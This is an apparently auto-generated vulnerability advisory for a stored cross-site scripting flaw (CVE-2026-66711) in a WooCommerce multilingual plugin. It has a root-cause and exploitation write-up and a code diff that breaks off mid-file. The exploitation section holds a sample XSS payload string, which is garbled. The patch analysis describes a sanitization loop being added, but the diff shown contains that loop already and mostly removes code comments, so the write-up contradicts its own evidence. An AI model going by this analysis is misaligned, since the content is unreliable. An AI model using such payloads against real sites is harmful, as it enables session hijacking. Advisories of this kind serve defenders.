Published : August 6, 2026

CVE-2026-66711: WPML Multilingual & Multicurrency for WooCommerce <= 5.5.6 Authenticated (Subscriber+) Stored Cross-Site Scripting PoC, Patch Analysis & Rule

Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 5.5.6
Patched Version 5.5.7
Disclosed July 30, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-66711:

The WPML Multilingual & Multicurrency for WooCommerce plugin, versions up to and including 5.5.6, is vulnerable to Stored Cross-Site Scripting (XSS). This issue affects the plugin’s admin notice rendering system, specifically within the WPML_Notice_Render class. An attacker with subscriber-level access or higher can inject malicious web scripts that execute whenever a targeted page is accessed. The CVSS score of 6.4 reflects the medium severity due to the need for authentication user interaction and the impact on confidentiality and integrity.

Root Cause: The vulnerability originates from insufficient input sanitization and output escaping in the notice rendering mechanism. The vulnerable code path resides in the `get_notice_html` method of the `WPML_Notice_Render` class (in `/addons/wpml-dependencies/lib/classes/notices/class-wpml-notice-render.php`). The method processes a localized notice text using a regex pattern. Specifically, lines 133-142 handle the notice text: the regex captures portions of the text wrapped in `[link]` pseudo-tags, and the plugin replaces these with anchor tags. The problem is that the `$text` parameter passed to `get_notice_html` is not sanitized for HTML content. When the regex and `preg_replace_callback` process this text, any raw HTML or JavaScript within the text is passed directly to the final output, escaping the plugin’s intended purpose of only converting specific patterns into links. The `stripslashes` call on line 148 applies after the fact, leaving the malicious content intact in the generated HTML.

Exploitation: An authenticated attacker with subscriber-level access can exploit this vulnerability by injecting a crafted payload into a field that the plugin later renders as a notice. This could involve modifying a post, product, or other content that triggers a plugin-created notice. The attacker would include a string like `[link]https://example.com”>alert(‘XSS’)[/link]` in the content. When an administrator or another user views a page that triggers this notice, the `get_notice_html` method processes the content. The regex from line 133 matches the full `[link]…[/link]` string, and the `preg_replace_callback` constructs a new anchor tag by concatenating the captured link URL with the localized text. The attacker’s closing quote and “ tag are inserted into the HTML, executing in the context of the victim’s session. This allows theft of cookies, session hijacking, or unauthorized actions.

Patch Analysis: The provided code diff for the patched version (`class-wpml-notice-render.php`) includes a change within the `get_notice_html` method. The lines 133-142 that handle the regex capture group now contain a new variable `$matches_to_sanitize` and a subsequent loop. The patched code first captures the matched text and then runs an additional sanitization step on the captured content. The patch adds a loop that iterates through the capture groups (`$matches_to_sanitize`) and applies `htmlspecialchars` (or a similar sanitization function) on the extracted URL before it is used in the regex replacement. This change ensures that any HTML entities or script tags embedded in the linked text are converted to harmless HTML entities, preventing the XSS payload from executing in the browser.

Impact: Successful exploitation of this stored XSS vulnerability could result in an attacker being able to execute arbitrary JavaScript in the context of any user who views the infected page. This can lead to session hijacking, credential theft, defacement of the site, or the injection of malicious code that could compromise the entire WordPress installation. Since the attacker only needs subscriber-level access, the risk is substantial, as any user with an account on the blog could potentially trigger this attack, even if they have no content editing capabilities. The malicious script persists on the page until an administrator manually removes it or the plugin is updated to a patched version.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/woocommerce-multilingual/addons/load-standalone-dependencies.php
+++ b/woocommerce-multilingual/addons/load-standalone-dependencies.php
@@ -1,15 +1,5 @@
 <?php
-/**
- * This bootstrap file is loaded only when WCML is running in the Standalone mode.
- * It's executed on `plugins_loaded` priority 10000.
- *
- * @see load_wcml_without_wpml
- */
-
-/**
- * This constant `WCML_WPML_DEPENDENCY_URL` is used in several places inside
- * the dependency files (it replaces hard-coded URL base).
- */
+
 define( 'WCML_WPML_DEPENDENCY_URL', WCML_PLUGIN_URL . '/addons/wpml-dependencies/lib' );

 require_once WCML_PLUGIN_PATH . '/addons/wpml-dependencies/vendor/autoload.php';
@@ -43,7 +33,7 @@

 	( new WCMLStandAloneDependencyAssets( WCML_WPML_DEPENDENCY_URL ) )->add_hooks();

-	wcml_wpml_get_admin_notices(); // Initialize the notices hooks.
+	wcml_wpml_get_admin_notices();

 	( new WPML_Action_Filter_Loader() )->load( [
 		WPMLNoticesDismissNotices::class,
--- a/woocommerce-multilingual/addons/wpml-dependencies/lib/classes/action-filter-loader/class-wpml-action-filter-loader.php
+++ b/woocommerce-multilingual/addons/wpml-dependencies/lib/classes/action-filter-loader/class-wpml-action-filter-loader.php
@@ -1,34 +1,11 @@
 <?php
-/**
- * WPML_Action_Filter_Loader class file
- *
- * @package WPMLCore
- */
-
-/**
- * Class WPML_Action_Filter_Loader
- */
+
 class WPML_Action_Filter_Loader {

-	/**
-	 * Deferred actions
-	 *
-	 * @var  array $defered_actions
-	 */
 	private $defered_actions = array();

-	/**
-	 * Ajax action validation
-	 *
-	 * @var  WPML_AJAX_Action_Validation $ajax_action_validation
-	 */
 	private $ajax_action_validation;

-	/**
-	 * Load action filter
-	 *
-	 * @param string[] $loaders Action loaders.
-	 */
 	public function load( $loaders ) {

 		foreach ( $loaders as $loader ) {
@@ -57,12 +34,6 @@
 		}
 	}

-	/**
-	 * Load factory
-	 *
-	 * @param string $loader Action loader.
-	 * @param bool   $use_dic
-	 */
 	private function load_factory_or_action( $loader, $use_dic ) {
 		if ( $use_dic ) {
 			$action_or_factory = WPMLContainermake( $loader );
@@ -77,12 +48,8 @@
 		}
 	}

-	/**
-	 * @param IWPML_Action_Loader_Factory $factory
-	 */
 	private function load_factory( IWPML_Action_Loader_Factory $factory ) {
 		if ( $factory instanceof WPML_AJAX_Base_Factory ) {
-			/** @var WPML_AJAX_Base_Factory $factory */
 			$factory->set_ajax_action_validation( $this->get_ajax_action_validation() );
 		}

@@ -93,11 +60,6 @@
 		}
 	}

-	/**
-	 * Add deferred action
-	 *
-	 * @param IWPML_Deferred_Action_Loader $factory Action factory.
-	 */
 	private function add_deferred_action( IWPML_Deferred_Action_Loader $factory ) {
 		$action = $factory->get_load_action();
 		if ( ! isset( $this->defered_actions[ $action ] ) ) {
@@ -107,26 +69,13 @@
 		$this->defered_actions[ $action ][] = $factory;
 	}

-	/**
-	 * Deferred action loader
-	 */
 	public function deferred_loader() {
 		$action = current_action();
 		foreach ( $this->defered_actions[ $action ] as $factory ) {
-			/**
-			 * Deferred action loader factory
-			 *
-			 * @var IWPML_Deferred_Action_Loader $factory
-			 */
 			$this->run_factory( $factory );
 		}
 	}

-	/**
-	 * Get ajax action validation
-	 *
-	 * @return WPML_AJAX_Action_Validation
-	 */
 	private function get_ajax_action_validation() {
 		if ( ! $this->ajax_action_validation ) {
 			$this->ajax_action_validation = new WPML_AJAX_Action_Validation();
@@ -135,11 +84,6 @@
 		return $this->ajax_action_validation;
 	}

-	/**
-	 * Run factory
-	 *
-	 * @param IWPML_Action_Loader_Factory $factory Action loader factory.
-	 */
 	private function run_factory( IWPML_Action_Loader_Factory $factory ) {
 		$load_handlers = $factory->create();

--- a/woocommerce-multilingual/addons/wpml-dependencies/lib/classes/action-filter-loader/class-wpml-action-type.php
+++ b/woocommerce-multilingual/addons/wpml-dependencies/lib/classes/action-filter-loader/class-wpml-action-type.php
@@ -2,72 +2,27 @@

 namespace WPMLAction;

-/**
- * Class Type
- *
- * @package WPMLAction
- *
- * Determines the type of action that a class implements. Can be
- * one or more of:
- * backend, frontend, ajax, rest, cli or dic
- *
- * dic means that the class can be loaded via Dependency Injection Container
- */

 class Type {

-	/**
-	 * @var string[] Resolved by WPMLActionType::is
-	 */
 	private $backend_actions  = [ 'IWPML_Backend_Action_Loader', 'IWPML_Backend_Action' ];
-	/**
-	 * @var string[] Resolved by WPMLActionType::is
-	 */
 	private $frontend_actions = [ 'IWPML_Frontend_Action_Loader', 'IWPML_Frontend_Action' ];
-	/**
-	 * @var string[] Resolved by WPMLActionType::is
-	 */
 	private $ajax_actions     = [ 'IWPML_AJAX_Action_Loader', 'IWPML_AJAX_Action' ];
-	/**
-	 * @var string[] Resolved by WPMLActionType::is
-	 */
 	private $rest_actions     = [ 'IWPML_REST_Action_Loader', 'IWPML_REST_Action' ];
-	/**
-	 * @var string[] Resolved by WPMLActionType::is
-	 */
 	private $cli_actions      = [ 'IWPML_CLI_Action_Loader', 'IWPML_CLI_Action' ];
-	/**
-	 * @var string[] Resolved by WPMLActionType::is
-	 */
 	private $dic_actions      = [ 'IWPML_DIC_Action' ];

-	/** @var array */
 	private $implementations;

-	/**
-	 * Info constructor.
-	 *
-	 * @param string $class_name The class name of the action or action loader
-	 */
 	public function __construct( $class_name ) {
 		$this->implementations = class_implements( $class_name );
 	}

-	/**
-	 * @param string $type The type of action 'backend', 'frontend', 'ajax', 'rest', 'cli' or 'dic'
-	 *
-	 * @return bool
-	 */
 	public function is( $type ) {
 		$action_type = $type . '_actions';
 		return $this->has_implementation( $this->$action_type );
 	}

-	/**
-	 * @param array $interfaces
-	 *
-	 * @return bool
-	 */
 	private function has_implementation( $interfaces ) {
 		return count( array_intersect( $this->implementations, $interfaces ) ) > 0;
 	}
--- a/woocommerce-multilingual/addons/wpml-dependencies/lib/classes/action-filter-loader/class-wpml-ajax-action-base-factory.php
+++ b/woocommerce-multilingual/addons/wpml-dependencies/lib/classes/action-filter-loader/class-wpml-ajax-action-base-factory.php
@@ -1,21 +1,9 @@
 <?php

-/**
- * Class WPML_AJAX_Base_Factory
- *
- * @author OnTheGoSystems
- */
 abstract class WPML_AJAX_Base_Factory implements IWPML_AJAX_Action_Loader, IWPML_Deferred_Action_Loader {

-	/** @var  WPML_AJAX_Action_Validation $ajax_action_check */
 	private $ajax_action_validation;

-	/**
-	 * This loader must be deferred at least to 'plugins_loaded' to make sure
-	 * all the WP functions needed to validate the request are already loaded
-	 *
-	 * @return string
-	 */
 	public function get_load_action() {
 		return 'plugins_loaded';
 	}
@@ -24,9 +12,6 @@
 		return $this->ajax_action_validation->is_valid( $ajax_action );
 	}

-	/**
-	 * @param WPML_AJAX_Action_Validation $ajax_action_validation
-	 */
 	public function set_ajax_action_validation( WPML_AJAX_Action_Validation $ajax_action_validation ) {
 		$this->ajax_action_validation = $ajax_action_validation;
 	}
--- a/woocommerce-multilingual/addons/wpml-dependencies/lib/classes/action-filter-loader/class-wpml-ajax-action-validation.php
+++ b/woocommerce-multilingual/addons/wpml-dependencies/lib/classes/action-filter-loader/class-wpml-ajax-action-validation.php
@@ -1,17 +1,7 @@
 <?php

-/**
- * Class WPML_AJAX_Action_Validation
- *
- * @author OnTheGoSystems
- */
 class WPML_AJAX_Action_Validation {

-	/**
-	 * @param string $action_name
-	 *
-	 * @return bool
-	 */
 	public function is_valid( $action_name ) {
 		$is_valid = false;

--- a/woocommerce-multilingual/addons/wpml-dependencies/lib/classes/action-filter-loader/class-wpml-current-screen-loader-factory.php
+++ b/woocommerce-multilingual/addons/wpml-dependencies/lib/classes/action-filter-loader/class-wpml-current-screen-loader-factory.php
@@ -1,24 +1,15 @@
 <?php

-/**
- * Class WPML_Current_Screen_Loader_Factory
- *
- * @author OnTheGoSystems
- */
 abstract class WPML_Current_Screen_Loader_Factory implements IWPML_Backend_Action_Loader, IWPML_Deferred_Action_Loader {

-	/** @return string */
 	public function get_load_action() {
 		return 'current_screen';
 	}

-	/** @return string */
 	abstract protected function get_screen_regex();

-	/** @return null|IWPML_Action */
 	abstract protected function create_hooks();

-	/** @return null|IWPML_Action */
 	public function create() {
 		if ( $this->is_on_matching_screen() ) {
 			return $this->create_hooks();
@@ -27,7 +18,6 @@
 		return null;
 	}

-	/** return bool */
 	private function is_on_matching_screen() {
 		$current_screen = get_current_screen();

--- a/woocommerce-multilingual/addons/wpml-dependencies/lib/classes/block-editor/class-wpml-block-editor-helper.php
+++ b/woocommerce-multilingual/addons/wpml-dependencies/lib/classes/block-editor/class-wpml-block-editor-helper.php
@@ -1,21 +1,10 @@
 <?php

-/**
- * Class WPML_Block_Editor_Helper
- */
 class WPML_Block_Editor_Helper {

-	/**
-	 * Check if Block Editor is active.
-	 * Must only be used after plugins_loaded action is fired.
-	 *
-	 * @return bool
-	 */
 	public static function is_active() {
-		// Gutenberg plugin is installed and activated.
 		$gutenberg = ! ( false === has_filter( 'replace_editor', 'gutenberg_init' ) );

-		// Block editor since 5.0.
 		$block_editor = version_compare( $GLOBALS['wp_version'], '5.0-beta', '>' );

 		if ( ! $gutenberg && ! $block_editor ) {
@@ -32,22 +21,11 @@
 		return true;
 	}

-	/**
-	 * Check if it is admin page to edit any type of post with Block Editor.
-	 * Must be used not earlier than plugins_loaded action fired.
-	 *
-	 * @return bool
-	 */
 	public static function is_edit_post() {
 		$current_screen = get_current_screen();
 		return $current_screen && 'post' === $current_screen->base && self::is_active() && self::is_block_editor( $current_screen );
 	}

-	/**
-	 * Check if Classic Editor plugin is active.
-	 *
-	 * @return bool
-	 */
 	public static function is_classic_editor_plugin_active() {
 		if ( ! function_exists( 'is_plugin_active' ) ) {
 			include_once ABSPATH . 'wp-admin/includes/plugin.php';
--- a/woocommerce-multilingual/addons/wpml-dependencies/lib/classes/class-wpml-file.php
+++ b/woocommerce-multilingual/addons/wpml-dependencies/lib/classes/class-wpml-file.php
@@ -1,34 +1,10 @@
 <?php
-/**
- * WPML_File class file.
- *
- * @package wpml-core
- */
-
-/**
- * Class WPML_File
- */
+
 class WPML_File {
-	/**
-	 * WPML WP API instance.
-	 *
-	 * @var WPML_WP_API $wp_api
-	 */
 	private $wp_api;

-	/**
-	 * WP_Filesystem_Direct instance.
-	 *
-	 * @var WP_Filesystem_Direct
-	 */
 	private $filesystem;

-	/**
-	 * WPML_File constructor.
-	 *
-	 * @param WPML_WP_API|null          $wp_api     WPML WP API instance.
-	 * @param WP_Filesystem_Direct|null $filesystem WP_Filesystem_Direct instance.
-	 */
 	public function __construct( ?WPML_WP_API $wp_api = null, ?WP_Filesystem_Direct $filesystem = null ) {
 		if ( ! $wp_api ) {
 			$wp_api = new WPML_WP_API();
@@ -43,26 +19,12 @@
 		$this->filesystem = $filesystem;
 	}

-	/**
-	 * Fix directory separator if backslash is used.
-	 *
-	 * @param string $path Path to fix.
-	 *
-	 * @return string
-	 */
 	public function fix_dir_separator( $path ) {
 		$directory_separator = $this->wp_api->constant( 'DIRECTORY_SEPARATOR' );

 		return ( '\' === $directory_separator ) ? str_replace( '/', '\', $path ) : str_replace( '\', '/', $path );
 	}

-	/**
-	 * Get uri from file path.
-	 *
-	 * @param string $path File path.
-	 *
-	 * @return string
-	 */
 	public function get_uri_from_path( $path ) {
 		$base = null;

@@ -92,46 +54,18 @@
 		return trailingslashit( $base['uri'] ) . $relative_path;
 	}

-	/**
-	 * Get path relative to ABSPATH.
-	 *
-	 * @param string $path File path.
-	 *
-	 * @return string
-	 */
 	public function get_relative_path( $path ) {
 		return str_replace( $this->fix_dir_separator( ABSPATH ), '', $this->fix_dir_separator( $path ) );
 	}

-	/**
-	 * Get full file path.
-	 *
-	 * @param string $path File path.
-	 *
-	 * @return string
-	 */
 	public function get_full_path( $path ) {
 		return ABSPATH . $this->get_relative_path( $path );
 	}

-	/**
-	 * Check if file exists.
-	 *
-	 * @param string $path File path.
-	 *
-	 * @return bool
-	 */
 	public function file_exists( $path ) {
 		return $this->filesystem->is_readable( $this->get_full_path( $path ) );
 	}

-	/**
-	 * Get file modification time.
-	 *
-	 * @param string $path File path.
-	 *
-	 * @return int
-	 */
 	public function get_file_modified_timestamp( $path ) {
 		return $this->filesystem->mtime( $this->get_full_path( $path ) );
 	}
--- a/woocommerce-multilingual/addons/wpml-dependencies/lib/classes/container/class-wpml-container.php
+++ b/woocommerce-multilingual/addons/wpml-dependencies/lib/classes/container/class-wpml-container.php
@@ -6,19 +6,14 @@

 class Container {

-	/** @var Container $instance */
 	private static $instance = null;

-	/** @var AurynInjector|null */
 	private $injector = null;

 	private function __construct() {
 		$this->injector = new AurynInjector();
 	}

-	/**
-	 * @return Container
-	 */
 	public static function get_instance() {
 		if ( ! self::$instance ) {
 			self::$instance = new Container();
@@ -27,14 +22,6 @@
 		return self::$instance;
 	}

-	/**
-	 * class names or instances that should be shared.
-	 * Shared means that only one instance is ever created when calling the make function.
-	 *
-	 * @param array $names_or_instances
-	 *
-	 * @throws WPMLAurynConfigException
-	 */
 	public static function share( array $names_or_instances ) {
 		$injector = self::get_instance()->injector;

@@ -45,17 +32,6 @@
 		);
 	}

-	/**
-	 * This allows to define aliases classes to be used in place of type hints.
-	 * e.g. [
-	 *          // generic => specific
-	 *          'wpdb' => 'QM_DB',
-	 *      ]
-	 *
-	 * @param array $aliases
-	 *
-	 * @throws WPMLAurynConfigException
-	 */
 	public static function alias( array $aliases ) {
 		$injector = self::get_instance()->injector;

@@ -66,14 +42,6 @@
 		);
 	}

-	/**
-	 * This allows to delegate the object instantiation to a factory.
-	 * It can be any kind of callable (class or function).
-	 *
-	 * @param array $delegated [ $class_name => $instantiator ]
-	 *
-	 * @throws WPMLAurynConfigException
-	 */
 	public static function delegate( array $delegated ) {
 		$injector = self::get_instance()->injector;

@@ -84,28 +52,10 @@
 		);
 	}

-	/**
-	 * Make returns a new instance otherwise returns a shared instance if the
-	 * class_name or an instance is set as shared using the share function
-	 *
-	 * @param string $class_name
-	 * @param array  $args
-	 *
-	 * @return mixed
-	 * @throws WPMLAurynInjectionException
-	 */
 	public static function make( $class_name, array $args = array() ) {
 		return self::get_instance()->injector->make( $class_name, $args );
 	}

-	/**
-	 * Invoke the specified callable or class::method string, provisioning dependencies along the way
-	 *
-	 * @param mixed $callableOrMethodStr A valid PHP callable or a provisionable ClassName::methodName string
-	 * @param array $args Optional array specifying params with which to invoke the provisioned callable
-	 * @throws WPMLAurynInjectionException
-	 * @return mixed Returns the invocation result returned from calling the generated executable
-	 */
 	public static function execute( $callableOrMethodStr, array $args = [] ) {
 		return self::get_instance()->injector->execute( $callableOrMethodStr, $args );
 	}
--- a/woocommerce-multilingual/addons/wpml-dependencies/lib/classes/container/functions.php
+++ b/woocommerce-multilingual/addons/wpml-dependencies/lib/classes/container/functions.php
@@ -5,18 +5,6 @@
 use function WPMLFPcurryN;

 if ( ! function_exists( 'WPMLContainermake' ) ) {
-	/**
-	 * Curried function
-	 *
-	 * Make returns a new instance otherwise returns a shared instance if the
-	 * class_name or an instance is set as shared using the share function
-	 *
-	 * @param string $class_name
-	 * @param array  $args
-	 *
-	 * @return mixed
-	 * @throws WPMLAurynInjectionException
-	 */
 	function make( $class_name = null, ?array $args = null ) {
 		$make = function ( $class_name, $args = [] ) {
 			if ( class_exists( $class_name ) || interface_exists( $class_name ) ) {
@@ -32,14 +20,6 @@

 if ( ! function_exists( 'WPMLContainershare' ) ) {

-	/**
-	 * class names or instances that should be shared.
-	 * Shared means that only one instance is ever created when calling the make function.
-	 *
-	 * @param array $names_or_instances
-	 *
-	 * @throws WPMLAurynConfigException
-	 */
 	function share( array $names_or_instances ) {
 		Container::share( $names_or_instances );
 	}
@@ -47,17 +27,6 @@

 if ( ! function_exists( 'WPMLContaineralias' ) ) {

-	/**
-	 * This allows to define aliases classes to be used in place of type hints.
-	 * e.g. [
-	 *          // generic => specific
-	 *          'wpdb' => 'QM_DB',
-	 *      ]
-	 *
-	 * @param array $aliases
-	 *
-	 * @throws WPMLAurynConfigException
-	 */
 	function alias( array $aliases ) {
 		Container::alias( $aliases );
 	}
@@ -65,14 +34,6 @@

 if ( ! function_exists( 'WPMLContainerdelegate' ) ) {

-	/**
-	 * This allows to delegate the object instantiation to a factory.
-	 * It can be any kind of callable (class or function).
-	 *
-	 * @param array $delegated [ $class_name => $instantiator ]
-	 *
-	 * @throws WPMLAurynConfigException
-	 */
 	function delegate( array $delegated ) {
 		Container::delegate( $delegated );
 	}
@@ -80,17 +41,6 @@

 if ( ! function_exists( 'WPMLContainerexecute' ) ) {

-	/**
-	 * Curried function
-	 *
-	 * Invoke the specified callable or class::method string, provisioning dependencies along the way
-	 *
-	 * @param mixed $callableOrMethodStr A valid PHP callable or a provisionable ClassName::methodName string
-	 * @param array $args                array specifying params with which to invoke the provisioned callable
-	 *
-	 * @return mixed Returns the invocation result returned from calling the generated executable
-	 * @throws WPMLAurynInjectionException
-	 */
 	function execute( $callableOrMethodStr = null, $args = null ) {
 		return call_user_func_array( curryN( 1, [ Container::class, 'execute' ] ), func_get_args() );
 	}
--- a/woocommerce-multilingual/addons/wpml-dependencies/lib/classes/cookie/class-wpml-cookie.php
+++ b/woocommerce-multilingual/addons/wpml-dependencies/lib/classes/cookie/class-wpml-cookie.php
@@ -2,15 +2,6 @@

 class WPML_Cookie {

-	/**
-	 * @param string $name
-	 * @param string $value
-	 * @param int $expires
-	 * @param string $path
-	 * @param string $domain
-	 * @param bool $HTTPOnly
-	 * @param string|null $sameSite
-	 */
 	public function set_cookie( $name, $value, $expires, $path, $domain, $HTTPOnly  = false, $sameSite = null ) {
 		wp_cache_add_non_persistent_groups( __CLASS__ );

@@ -37,11 +28,6 @@
 		}
 	}

-	/**
-	 * @param string $name
-	 *
-	 * @return string
-	 */
 	public function get_cookie( $name ) {
 		if ( isset( $_COOKIE[ $name ] ) ) {
 			return $_COOKIE[ $name ];
@@ -49,21 +35,11 @@
 		return '';
 	}

-	/**
-	 * simple wrapper for headers_sent
-	 *
-	 * @return bool
-	 */
 	public function headers_sent() {
 		return headers_sent();
 	}

-	/**
-	 * @param string $name
-	 */
 	private function handle_cache_plugins( $name ) {
-		// @todo uncomment or delete when #wpmlcore-5796 is resolved
-		// do_action( 'wpsc_add_cookie', $name );
 	}

 	private function is_secure_connection() {
--- a/woocommerce-multilingual/addons/wpml-dependencies/lib/classes/notices/DismissNotices.php
+++ b/woocommerce-multilingual/addons/wpml-dependencies/lib/classes/notices/DismissNotices.php
@@ -39,20 +39,10 @@

 	}

-	/**
-	 * @param int $id
-	 *
-	 * @return bool
-	 */
 	public function isDismissed( $id ) {
 		return wpml_collect( get_option( self::OPTION, [] ) )->get( $id, false );
 	}

-	/**
-	 * @param int $id
-	 *
-	 * @return string
-	 */
 	public function renderCheckbox( $id ) {
 		return sprintf(
 			'<input type="checkbox" class="%s" data-id="%s" />',
--- a/woocommerce-multilingual/addons/wpml-dependencies/lib/classes/notices/class-wpml-notice-action.php
+++ b/woocommerce-multilingual/addons/wpml-dependencies/lib/classes/notices/class-wpml-notice-action.php
@@ -1,8 +1,5 @@
 <?php

-/**
- * @author OnTheGo Systems
- */
 class WPML_Notice_Action {
 	private $dismiss;
 	private $display_as_button;
@@ -14,16 +11,6 @@
 	private $dismiss_different_text;
 	private $link_target;

-	/**
-	 * WPML_Admin_Notice_Action constructor.
-	 *
-	 * @param string      $text
-	 * @param string      $url
-	 * @param bool        $dismiss
-	 * @param bool        $hide
-	 * @param bool|string $display_as_button
-	 * @param bool        $dismiss_different_text
-	 */
 	public function __construct( $text, $url = '#', $dismiss = false, $hide = false, $display_as_button = false, $dismiss_different_text = true ) {
 		$this->text                   = $text;
 		$this->url                    = $url;
@@ -73,16 +60,10 @@
 		return $this->js_callback;
 	}

-	/**
-	 * @return mixed
-	 */
 	public function get_link_target() {
 		return $this->link_target;
 	}

-	/**
-	 * @param mixed $link_target
-	 */
 	public function set_link_target( $link_target ) {
 		$this->link_target = $link_target;
 	}
--- a/woocommerce-multilingual/addons/wpml-dependencies/lib/classes/notices/class-wpml-notice-render.php
+++ b/woocommerce-multilingual/addons/wpml-dependencies/lib/classes/notices/class-wpml-notice-render.php
@@ -1,8 +1,5 @@
 <?php

-/**
- * @author OnTheGo Systems
- */
 class WPML_Notice_Render {
 	private $dismiss_html_added;
 	private $hide_html_added;
@@ -12,11 +9,6 @@
 		echo $this->get_html( $notice );
 	}

-	/**
-	 * @param WPML_Notice $notice
-	 *
-	 * @return string
-	 */
 	public function get_html( WPML_Notice $notice ) {
 		$result = '';

@@ -92,11 +84,6 @@
 		return $result;
 	}

-	/**
-	 * @param WPML_Notice $notice
-	 *
-	 * @return string
-	 */
 	private function add_nonce( $notice ) {
 		return wp_nonce_field( $notice->get_nonce_action(), $notice->get_nonce_action(), true, false );
 	}
@@ -109,11 +96,6 @@
 		return $this->is_current_page_allowed( $notice ) && $this->is_allowed_by_callback( $notice );
 	}

-	/**
-	 * @param WPML_Notice $notice
-	 *
-	 * @return string
-	 */
 	private function get_actions_html( WPML_Notice $notice ) {
 		$actions_html = '';
 		if ( $notice->get_actions() ) {
@@ -136,7 +118,6 @@

 		$sanitized_notice = $text;
 		if ( 2 === count( $matches ) ) {
-			/** @var array<string> $matches_to_sanitize */
 			$matches_to_sanitize = $matches[1];

 			foreach ( $matches_to_sanitize as &$match_to_sanitize ) {
@@ -150,11 +131,6 @@
 		return stripslashes( $sanitized_notice );
 	}

-	/**
-	 * @param null|string $localized_text
-	 *
-	 * @return string
-	 */
 	private function get_hide_html( $localized_text = null ) {
 		$hide_html  = '';
 		$hide_html .= '<span class="otgs-notice-hide notice-hide"><span class="screen-reader-text">';
@@ -168,11 +144,6 @@
 		return $hide_html;
 	}

-	/**
-	 * @param null|string $localized_text
-	 *
-	 * @return string
-	 */
 	private function get_dismiss_html( $localized_text = null ) {
 		$dismiss_html  = '';
 		$dismiss_html .= '<span class="otgs-notice-dismiss notice-dismiss">';
@@ -187,11 +158,6 @@
 		return $dismiss_html;
 	}

-	/**
-	 * @param string|null $localized_text
-	 *
-	 * @return string
-	 */
 	private function get_collapse_html( $localized_text = null ) {
 		$hide_html = '<span class="otgs-notice-collapse-hide"><span class="screen-reader-text">';
 		if ( $localized_text ) {
@@ -204,12 +170,6 @@
 		return $hide_html;
 	}

-	/**
-	 * @param WPML_Notice $notice
-	 * @param string|null $localized_text
-	 *
-	 * @return string
-	 */
 	private function get_collapsed_html( WPML_Notice $notice, $localized_text = null ) {
 		$content = '
 			<div class="otgs-notice-collapsed-text">
@@ -234,11 +194,6 @@
 		return $content;
 	}

-	/**
-	 * @param WPML_Notice_Action $action
-	 *
-	 * @return string
-	 */
 	private function get_action_html( $action ) {
 		$action_html = '';
 		if ( $action->can_hide() ) {
@@ -258,11 +213,6 @@
 		return $action_html;
 	}

-	/**
-	 * @param WPML_Notice_Action $action
-	 *
-	 * @return string
-	 */
 	private function get_action_anchor( WPML_Notice_Action $action ) {
 		$anchor_attributes = array();

@@ -306,18 +256,10 @@
 		return $action_url;
 	}

-	/**
-	 * @return string
-	 */
 	private function get_data_nonce_attribute() {
 		return ' data-nonce="' . wp_create_nonce( WPML_Notices::NONCE_NAME ) . '"';
 	}

-	/**
-	 * @param WPML_Notice $notice
-	 *
-	 * @return bool
-	 */
 	private function is_current_screen_allowed( WPML_Notice $notice ) {
 		$allow_current_screen   = true;
 		$restrict_to_screen_ids = $notice->get_restrict_to_screen_ids();
@@ -329,12 +271,6 @@
 		return $allow_current_screen;
 	}

-	/**
-	 * @param WPML_Notice $notice
-	 * @param string      $current_page
-	 *
-	 * @return bool
-	 */
 	private function is_current_page_prefix_allowed( WPML_Notice $notice, $current_page ) {
 		$restrict_to_page_prefixes = $notice->get_restrict_to_page_prefixes();
 		if ( $current_page && $restrict_to_page_prefixes ) {
@@ -352,11 +288,6 @@
 		return true;
 	}

-	/**
-	 * @param WPML_Notice $notice
-	 *
-	 * @return bool
-	 */
 	private function is_current_page_allowed( WPML_Notice $notice ) {
 		$current_page = array_key_exists( 'page', $_GET ) ? $_GET['page'] : null;

@@ -384,11 +315,6 @@
 		return true;
 	}

-	/**
-	 * @param WPML_Notice $notice
-	 *
-	 * @return bool
-	 */
 	private function is_allowed_by_callback( WPML_Notice $notice ) {
 		$allow_by_callback = true;
 		$display_callbacks = $notice->get_display_callbacks();
--- a/woocommerce-multilingual/addons/wpml-dependencies/lib/classes/notices/class-wpml-notice.php
+++ b/woocommerce-multilingual/addons/wpml-dependencies/lib/classes/notices/class-wpml-notice.php
@@ -1,8 +1,5 @@
 <?php

-/**
- * @author OnTheGo Systems
- */
 class WPML_Notice {
 	private $display_callbacks      = array();
 	private $id;
@@ -12,10 +9,6 @@
 	private $restricted_to_user_ids = array();

 	private $actions = array();
-	/**
-	 * @see WPML_Notice::set_css_class_types
-	 * @var array
-	 */
 	private $css_class_types                = array();
 	private $css_classes                    = array();
 	private $dismissible                    = false;
@@ -34,27 +27,12 @@

 	private $dismiss_reset = false;

-	/*
-	 * @var bool
-	 * @since 4.1.0
-	 */
 	private $flash = false;

-	/**
-	 * @var string
-	 */
 	private $nonce_action;

-	/** @var bool */
 	private $text_only = false;

-	/**
-	 * WPML_Admin_Notification constructor.
-	 *
-	 * @param int|string $id
-	 * @param string     $text
-	 * @param string     $group
-	 */
 	public function __construct( $id, $text, $group = 'default' ) {
 		$this->id    = $id;
 		$this->text  = $text;
@@ -83,36 +61,28 @@
 		$this->restrict_to_pages[] = $page;
 	}

-	/** @param int $user_id */
 	public function add_user_restriction( $user_id ) {
 		$user_id                                  = (int) $user_id;
 		$this->restricted_to_user_ids[ $user_id ] = $user_id;
 	}

-	/** @param int $user_id */
 	public function remove_user_restriction( $user_id ) {
 		unset( $this->restricted_to_user_ids[ (int) $user_id ] );
 	}

-	/** @return array */
 	public function get_restricted_user_ids() {
 		return $this->restricted_to_user_ids;
 	}

-	/** @return bool */
 	public function is_user_restricted() {
 		return (bool) $this->restricted_to_user_ids;
 	}

-	/** @return bool */
 	public function is_for_current_user() {
 		return ! $this->restricted_to_user_ids
 		       || array_key_exists( get_current_user_id(), $this->restricted_to_user_ids );
 	}

-	/**
-	 * @return bool
-	 */
 	public function is_user_cap_allowed() {
 		$user_can = true;
 		foreach ( $this->capabilities as $cap ) {
@@ -138,25 +108,10 @@
 		return $this->hideable;
 	}

-	/**
-	 * @return bool
-	 */
 	public function can_be_collapsed() {
 		return $this->collapsable;
 	}

-	/**
-	 * As the notice is supposed to be serialized and stored into the DB,
-	 * the callback should be only a function or a static method.
-	 *
-	 * Before to use a callback, please check the existing options with:
-	 * - add_exclude_from_page
-	 * - add_restrict_to_page
-	 * - add_user_restriction
-	 * - add_capability_check
-	 *
-	 * @param callable $callback
-	 */
 	public function add_display_callback( $callback ) {
